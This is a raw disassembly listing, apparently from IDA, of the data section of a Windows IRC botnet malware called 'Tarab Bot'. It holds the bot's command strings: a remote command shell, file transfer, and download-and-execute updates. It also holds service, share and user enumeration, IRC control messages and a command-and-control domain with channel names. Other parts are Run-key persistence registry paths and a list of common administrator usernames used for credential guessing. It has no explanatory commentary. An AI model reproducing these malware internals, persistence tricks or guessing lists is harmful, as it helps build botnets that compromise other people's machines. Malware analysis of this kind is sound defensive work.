db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTarabBotFail_7 db ' Tarab Bot Failed to get requested URL from HTTP server.',0
unk_42D174 db 2 ; DATA XREF: sub_40BA67+192o
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTarabBotUrlVis db ' Tarab Bot URL visited.',0
align 4
asc_42D1A8 db '*/*',0 ; DATA XREF: sub_40BA67+3Bo
aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_40BD15+35o
aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_40BD15+10o
align 4
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BD8D+60o
align 4
dword_42D1EC dd 72023602h, 28201F62h, 73676F6Ch, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40BE2D:loc_40BE62o
dd 2BBBB02h
aTarabBotCleare db ' Tarab Bot Cleared.',0
align 4
dword_42D21C dd 72023602h, 28201F62h, 73676F6Ch, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40BE2D+20o
dd 2BBBB02h
aTarabBotClea_0 db ' Tarab Bot Cleared.',0
align 4
unk_42D24C db 2 ; DATA XREF: sub_40BEA0+DCo
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTarabBotListCo db 'Tarab Bot List complete.',0
align 10h
dword_42D280 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40BEA0+3Fo
dd 2BBBB02h, 72615420h, 42206261h, 4220746Fh, 6E696765h
dd 0
dword_42D2AC dd 80000002h ; DATA XREF: sub_40BFCF+24r
off_42D2B0 dd offset aSoftwareMicr_0 ; DATA XREF: sub_40BFCF+1Er
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000002h, 42EA3Ch, 80000001h, 42EA74h, 0
dword_42D2C8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C16F+170o
dd 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 4
dword_42D30C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C16F+ABo
dd 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_42D34C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C16F+47o
; sub_40C330+FDo
dd 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 10h
dword_42D380 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C330+362o
dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh
dword_42D3A8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C330+2FAo
dd 2BBBB02h
aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42D3F8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C330+202o
dd 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42D42C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C330+1CBo
dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h
dword_42D454 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C330+16Ao
dd 169h
dword_42D46C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C330+127o
dd 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42D49C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C330+82o
dd 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42D4D0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C330+44o
dd 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 8
unk_42D508 db 2 ; DATA XREF: sub_40C6D2+1CFo
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 64h ; d
db 2 dup(63h), 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTarabBotTransf db ' Tarab Bot Transfer complete from IP: %s, Filename: %s (%s bytes'
db ').',0
unk_42D564 db 2 ; DATA XREF: sub_40C6D2+156o
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 64h ; d
db 2 dup(63h), 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTarabBotSocket db ' Tarab Bot Socket error.',0
align 4
unk_42D598 db 2 ; DATA XREF: sub_40C6D2+CBo
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 64h ; d
db 2 dup(63h), 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTarabBotErrorO db ' Tarab Bot Error opening socket.',0
align 8
unk_42D5D8 db 2 ; DATA XREF: sub_40C6D2+ABo
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 64h ; d
db 2 dup(63h), 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTarabBotErro_0 db ' Tarab Bot Error opening file for writing.',0
aAB db 'a+b',0 ; DATA XREF: sub_40C6D2+97o
dword_42D620 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C6D2+83o
dd 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 10h
dword_42D660 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
; DATA XREF: sub_40C90D+480o
dd 2029671Fh, 2BBBB02h
aTarabBotBadUrl db ' Tarab Bot Bad URL, or DNS Error: %s.',0
align 8
dword_42D6A8 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
; DATA XREF: sub_40C90D+472o
dd 2029671Fh, 2BBBB02h
aTarabBotUpdate db ' Tarab Bot Update failed: Error executing file: %s.',0
align 10h
unk_42D700 db 2 ; DATA XREF: sub_40C90D+3B6o
db 36h, 2, 72h
db 62h ; b
db 20h, 28h, 64h
db 6Fh ; o
db 77h, 6Eh, 6Ch
db 6Fh ; o
db 61h, 64h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTarabBotDownlo db 'Tarab Bot Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
dword_42D758 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
; DATA XREF: sub_40C90D+34Do
dd 2029671Fh, 2BBBB02h
aTarabBotOpened db ' Tarab Bot Opened: %s.',0
align 10h
aOpen db 'open',0 ; DATA XREF: sub_40C90D+32Bo
; sub_40EC43+2B0Ao ...
align 4
dword_42D798 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
; DATA XREF: sub_40C90D+2D6o
dd 2029671Fh, 2BBBB02h
aTarabBotDown_0 db ' Tarab Bot Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 10h
dword_42D7F0 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
; DATA XREF: sub_40C90D+257o
dd 2029671Fh, 2BBBB02h
aTarabBotCrcFai db ' Tarab Bot CRC Failed (%d != %d).',0
dword_42D830 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
; DATA XREF: sub_40C90D+1CDo
dd 2029671Fh, 2BBBB02h
aTarabBotFilesi db ' Tarab Bot Filesize is incorrect: (%d != %d).',0
align 10h
dword_42D880 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
; DATA XREF: sub_40C90D:loc_40CAA5o
dd 2029671Fh, 2BBBB02h
aTarabBotUpda_0 db ' Tarab Bot Update: %s (%dKB transferred).',0
dword_42D8C8 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
; DATA XREF: sub_40C90D+191o
dd 2029671Fh, 2BBBB02h
aTarabBotFileDo db ' Tarab Bot File download: %s (%dKB transferred).',0
align 4
dword_42D918 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
; DATA XREF: sub_40C90D+77o
dd 2029671Fh, 2BBBB02h
aTarabBotCouldn db ' Tarab Bot Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40CEA1:loc_40CEE4o
; sub_40DD54+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_40CEA1:loc_40CEDEo
aDisk db 'Disk',0 ; DATA XREF: sub_40CEA1:loc_40CED8o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40CEA1:loc_40CED2o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40CEA1:loc_40CECCo
align 4
aRam db 'RAM',0 ; DATA XREF: sub_40CEA1:loc_40CEC6o
aFailed db 'failed',0 ; DATA XREF: sub_40CF32:loc_40D00Ao
; sub_40D04D+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_40CF32+6Bo
align 4
unk_42D998 db 2 ; DATA XREF: sub_40D04D+8Eo
db 36h, 2, 72h
db 62h ; b
db 20h, 28h, 63h
db 6Fh ; o
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 8
dword_42D9E8 dd 72023602h, 28201F62h, 65726F63h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D04D+58o
dd 2BBBB02h
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 4
aA_0 db 'A:\',0 ; DATA XREF: sub_40D11F:loc_40D164o
dword_42DA38 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D2C2+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42DA84 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D2C2+E3o
; ---------------------------------------------------------------------------
loc_42DAA0: ; DATA XREF: sub_40D2C2+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_42DAB4 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_40D2C2+13Fo
dword_42DAC8 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D476+58o
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D476+16o
; sub_40EC43+5E1o
aNotice db 'NOTICE',0 ; DATA XREF: sub_40D476+Fo
; sub_40EC43+5EDo
align 8
off_42DAE8 dd offset aAdd ; DATA XREF: sub_40D511+6Dr
; sub_40D8F8+50r ...
; "Add"
off_42DAEC dd offset aAdded ; DATA XREF: sub_40D511+2Dr
; sub_40D8F8+82r ...
; "Added"
dword_42DAF0 dd 0 ; DATA XREF: sub_40D511+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 42DB5Ch, 42DB54h, 2, 42DB48h, 42DB3Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0042DB1Co
aStop_0 db 'Stop',0 ; DATA XREF: .data:0042DB18o
align 4
aStarted db 'Started',0 ; DATA XREF: .data:0042DB10o
aStart_0 db 'Start',0 ; DATA XREF: .data:0042DB0Co
align 4
aListed db 'Listed',0 ; DATA XREF: .data:0042DB04o
align 4
aList_0 db 'List',0 ; DATA XREF: .data:0042DB00o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .data:0042DAF8o
aDelete_0 db 'Delete',0 ; DATA XREF: .data:0042DAF4o
align 4
aAdded db 'Added',0 ; DATA XREF: .data:off_42DAECo
align 4
aAdd db 'Add',0 ; DATA XREF: .data:off_42DAE8o
dword_42DBB0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D511+74o
dd 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_42DBE4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D511+55o
dd 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_42DC1C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D511+38o
dd 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D63A+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D63A:loc_40D752o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D63A:loc_40D74Bo
align 10h
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_40D63A:loc_40D744o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_40D63A:loc_40D73Do
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_40D63A:loc_40D736o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_40D63A:loc_40D72Fo
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D63A:loc_40D728o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_40D63A:loc_40D721o
align 8
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_40D63A:loc_40D71Ao
db 'marked for deletion.',0
align 10h
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_40D63A:loc_40D713o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_40D63A:loc_40D6E8o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_40D63A:loc_40D6E1o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_40D63A:loc_40D6DAo
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_40D63A:loc_40D6D3o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D63A+8Fo
align 10h
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_40D63A:loc_40D6A8o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_40D63A:loc_40D69Eo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_40D63A:loc_40D694o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D63A:loc_40D68Ao
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_40D63A:loc_40D680o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D63A+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D7B8+EEo
aStopped db ' Stopped',0 ; DATA XREF: sub_40D7B8:loc_40D887o
aStarting db ' Starting',0 ; DATA XREF: sub_40D7B8:loc_40D880o
aStoping db ' Stoping',0 ; DATA XREF: sub_40D7B8:loc_40D879o
aRunning db ' Running',0 ; DATA XREF: sub_40D7B8:loc_40D872o
aContinuing db ' Continuing',0 ; DATA XREF: sub_40D7B8:loc_40D86Bo
aPausing db ' Pausing',0 ; DATA XREF: sub_40D7B8:loc_40D864o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D7B8:loc_40D85Do
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D7B8+9Eo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_40D7B8+25o
align 4
dword_42E18C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D8F8+ABo
dd 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 10h
dword_42E1C0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D8F8+89o
dd 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_42E1EC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D8F8+57o
dd 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DAED+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_40DAED+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_40DAED+B5o
dword_42E248 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAED+76o
dd 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_40DAED+26o
align 4
dword_42E2B8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DC0E+B6o
dd 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 10h
dword_42E2F0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DC0E+94o
dd 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42E32C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DC0E+6Do
dd 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 4
dword_42E35C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DD54+394o
dd 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 10h
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DD54+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DD54+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DD54+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DD54+2ECo
align 10h
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DD54+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DD54+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DD54+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DD54+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DD54+21Eo
align 10h
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DD54+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DD54+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DD54+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DD54+178o
align 10h
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DD54+14Do
align 10h
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DD54+125o
aGuest db 'Guest',0 ; DATA XREF: sub_40DD54:loc_40DE6Do
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_40DD54:loc_40DE66o
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DD54:loc_40DE5Fo
; .data:0042EAB8o ...
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DD54+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DD54+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DD54+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DD54+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E122+145o
align 4
dword_42E528 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E122:loc_40E20Fo
dd 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 4
aS_6 db ' %S',0 ; DATA XREF: sub_40E122+BAo
align 4
dword_42E56C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E122+7Ao
dd 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E122+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E298:loc_40E3B5o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E298:loc_40E3AEo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E298:loc_40E3A7o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E298:loc_40E3A0o
align 4
aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E298:loc_40E399o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_40E298:loc_40E37Co
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E298:loc_40E375o
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E298:loc_40E36Eo
align 8
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_40E298+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_40E298:loc_40E343o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E298:loc_40E33Co
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_40E298:loc_40E335o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E298:loc_40E32Bo
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E298+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E298:loc_40E305o
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E298:loc_40E2FBo
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E298:loc_40E2F1o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_40E298:loc_40E2E7o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E298:loc_40E2DDo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E298+3Bo
align 4
dword_42E888 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E3CC+ABo
dd 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_42E8C0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E3CC+81o
dd 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 4
dword_42E8F8 dd 1F90h ; DATA XREF: sub_40E48A+391r
; sub_40E48A+444r
dword_42E8FC dd 1F91h ; DATA XREF: sub_40E48A+490r
dword_42E900 dd 30EAh ; DATA XREF: sub_40EC43:loc_4149C3r
dword_42E904 dd 18F4h ; DATA XREF: sub_4070A3+3Br
; sub_40EC43+528Fr
dword_42E908 dd 1BB0h ; DATA XREF: sub_4070A3:loc_407352r
; sub_40EC43:loc_413FC3r
dword_42E90C dd 0A84h ; DATA XREF: sub_40EC43:loc_414138r
dword_42E910 dd 1 ; DATA XREF: sub_40EC43+623r
dword_42E914 dd 1 ; DATA XREF: sub_40E48A+13Ar
dword_42E918 dd 1 ; DATA XREF: sub_40AA70+Cr
; sub_40E48A:loc_40E7A7r
byte_42E91C db 2Eh ; DATA XREF: sub_40CDEC:loc_40CDF8r
; sub_40EC43+A99r ...
align 10h
dword_42E920 dd 6 ; DATA XREF: sub_415704+2Br
; sub_415704+51r ...
dword_42E924 dd 4 ; DATA XREF: sub_40E961+78r
; sub_40EC43+26Er ...
a8652 db '8652',0
align 10h
aAdministrato_0 db 'administrator',0
align 10h
aSym db 'sym',0
dd 0
db 2 dup(0)
byte_42E94A db 1 ; DATA XREF: sub_40EC43:loc_413AC7r
; sub_40EC43+4E8Eo
aAsn445 db 'asn445',0
align 4
dd 100h, 3 dup(0)
aBotid db 'botid',0 ; DATA XREF: sub_40E48A+5Ao
; sub_40EC43+3E0Ao ...
align 4
aTarabTool db 'Tarab tool',0 ; DATA XREF: sub_40EC43:loc_414BC2o
align 4
a3zef db '3zef',0 ; DATA XREF: sub_40EC43+60EFo
; sub_40EC43+61B2o
align 10h
aSakenQlbe_net db 'saken-qlbe.net',0 ; DATA XREF: sub_40E48A+37Co
; sub_40E48A+435o
align 10h
a1 db '#1#',0 ; DATA XREF: sub_40E48A+39Do
; sub_40E48A+44Bo
a7lome db '7lome',0 ; DATA XREF: sub_40E48A+3B4o
; sub_40E48A+45Do
align 4
byte_42E99C db 73h ; DATA XREF: sub_40E48A:loc_40E8FDr
; sub_40E48A+481o
db 61h, 6Bh, 65h
dd 6C712D6Eh, 6E2E6562h, 7465h
dword_42E9AC dd 233123h ; DATA XREF: sub_40E48A+497o
a7lome_0 db '7lome',0 ; DATA XREF: sub_40E48A+4A9o
align 4
byte_42E9B8 db 74h ; DATA XREF: sub_402B61+Fo
; sub_4030BE+81o ...
db 69h, 63h, 74h
dd 2E666876h, 657865h
dword_42E9C4 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022B5+3Do
aSystam13 db 'Systam13',0 ; DATA XREF: sub_40BFCF+Bo
align 4
aBot db '[bot]-',0 ; DATA XREF: sub_415704+12o
align 4
aFirstswin_exe db 'firstswin.exe',0
align 4
aXi db '+xi',0 ; DATA XREF: sub_40EC43+6232o
a2 db '#2',0 ; DATA XREF: sub_40EC43:loc_411E86o
; sub_40EC43+504Eo
align 4
a2_0 db '#2',0 ; DATA XREF: sub_40EC43+1E93o
align 10h
a2_1 db '#2',0 ; DATA XREF: sub_40EC43+1CE5o
align 4
off_42EA04 dd offset a@admin_com ; DATA XREF: sub_40EC43+6152r
; "*@admin.com"
off_42EA08 dd offset aTarabTool_0 ; DATA XREF: sub_40EC43+87Dr
; "Tarab tool"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: .data:off_42D2B0o
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415CC2+28o
; sub_415FE8+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415CC2+D4o
; sub_415FE8+D4o
align 8
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_1 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 10h
dd offset byte_43BCE8
dd offset byte_43BCE8
